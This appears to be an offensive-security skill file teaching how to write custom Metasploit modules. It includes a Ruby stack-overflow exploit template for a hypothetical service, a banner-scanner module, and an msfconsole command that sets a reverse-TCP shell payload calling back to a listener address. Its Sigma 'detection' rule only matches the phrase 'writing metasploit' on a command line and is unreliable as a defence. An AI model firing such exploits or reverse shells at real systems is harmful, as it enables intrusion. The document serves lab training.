<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: writing-metasploit-modules
description: >-
  Write custom Metasploit modules including exploits, auxiliary scanners, post
  modules, and payloads using the Msf::Module API with proper ranking, mixins,
  target definitions, and datastore options.
domain: cybersecurity
subdomain: exploit-development
tags:
  - metasploit
  - msf-module
  - ruby
  - exploit-framework
  - msfconsole
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1190", "T1059", "T1203"]
  frameworks: ["Metasploit", "MITRE ATT&CK"]
  tools: ["msfconsole", "msfvenom", "ruby", "python3"]
---

# Writing Metasploit Modules

## Overview

Metasploit modules encapsulate exploits, scanners, and post-exploitation logic
in a standardized Ruby framework. Custom modules extend Metasploit's capability
to cover internal vulnerabilities, proprietary protocols, or novel attack paths
not in the public module database.

## Prerequisites

| Tool / Requirement | Details |
|---|---|
| `msfconsole` | Security tooling |
| `ruby (2.7+)` | Security tooling |
| `bundler` | Security tooling |
| Metasploit Framework installed (`/opt/metasploit-framework/`) | Environment requirement |
| Understanding of Msf::Exploit, Msf::Auxiliary, Msf::Post base classes | Environment requirement |
| Target service running in isolated lab | Environment requirement |

## Workflow

### Step 1: Module Scaffold

```ruby
# modules/exploits/custom/my_exploit.rb
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Custom Service Buffer Overflow',
      'Description'    => %q{Stack overflow in custom service v1.2},
      'Author'         => ['operator'],
      'License'        => MSF_LICENSE,
      'References'     => [['CVE', '2024-XXXX'], ['EDB', '12345']],
      'Platform'       => 'linux',
      'Arch'           => ARCH_X64,
      'Targets'        => [['Ubuntu 22.04', { 'Ret' => 0x00401234 }]],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2024-01-15'
    ))
    register_options([Opt::RPORT(9999)])
  end

  def exploit
    connect
    buf = rand_text_alpha(128)
    buf << [target.ret].pack('Q<')
    buf << payload.encoded
    sock.put(buf)
    handler
    disconnect
  end
end
```

### Step 2: Module Testing

```bash
# Load custom module in msfconsole
msfconsole -q -x "loadpath /home/operator/modules; \
  use exploits/custom/my_exploit; \
  set RHOSTS target.lab; set RPORT 9999; \
  set PAYLOAD linux/x64/shell_reverse_tcp; \
  set LHOST 10.0.0.1; check; exploit"

# Validate module with msftidy
/opt/metasploit-framework/tools/dev/msftidy.rb modules/exploits/custom/my_exploit.rb
```

### Step 3: Auxiliary Scanner Module

```ruby
class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Custom Service Version Scanner',
      'Description' => 'Enumerate version of custom service',
      'Author'      => ['operator'],
      'License'     => MSF_LICENSE
    ))
    register_options([Opt::RPORT(9999)])
  end

  def run_host(ip)
    connect
    banner = sock.get_once(-1, 5)
    if banner && banner.include?('CustomSvc')
      print_good("#{ip}:#{rport} - #{banner.strip}")
      report_service(host: ip, port: rport, name: 'customsvc', info: banner.strip)
    end
    disconnect
  end
end
```

### Step 4: Agent-Assisted Development

```bash
# Scaffold a new module from template
node scripts/agent.js scaffold --type exploit --name my_exploit --service custom

# Validate module syntax and best practices
node scripts/agent.js validate --module modules/exploits/custom/my_exploit.rb

# Generate module documentation
node scripts/agent.js document --module modules/exploits/custom/my_exploit.rb
```

## Detection

```yaml
title: Writing Metasploit Modules Detection
id: c1c38cf6-e4c6-49e2-8e5a-753f71d133f4
status: experimental
description: Detects suspicious activity related to writing metasploit modules techniques in exploit development context
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    CommandLine: "*writing*metasploit*"
  condition: selection
level: critical
tags:
  - attack.t1190
  - attack.t1059
  - attack.t1203
  - attack.execution
falsepositives:
  - Vulnerability scanner testing known exploit signatures
```


**Detection Opportunities**

| Indicator | Source | Detection Logic |
|---|---|---|
| Writing Metasploit Modules Detection | windows/process_creation | Sigma rule (critical) |
| ATT&CK Coverage | MITRE ATT&CK | T1190, T1059, T1203 |

## Verification

- [ ] Module passes `msftidy.rb` with no errors or warnings
- [ ] Module loads cleanly in `msfconsole` without errors
- [ ] `check` method validates target vulnerability before exploitation
- [ ] Exploit fires reliably against lab target
- [ ] Module metadata (references, author, targets) complete

## References

- [Metasploit Module API](https://docs.metasploit.com/) — Official module development docs
- [Metasploit Wiki](https://github.com/rapid7/metasploit-framework/wiki) — Community development guide
- [msftidy](https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/msftidy.rb) — Module linter
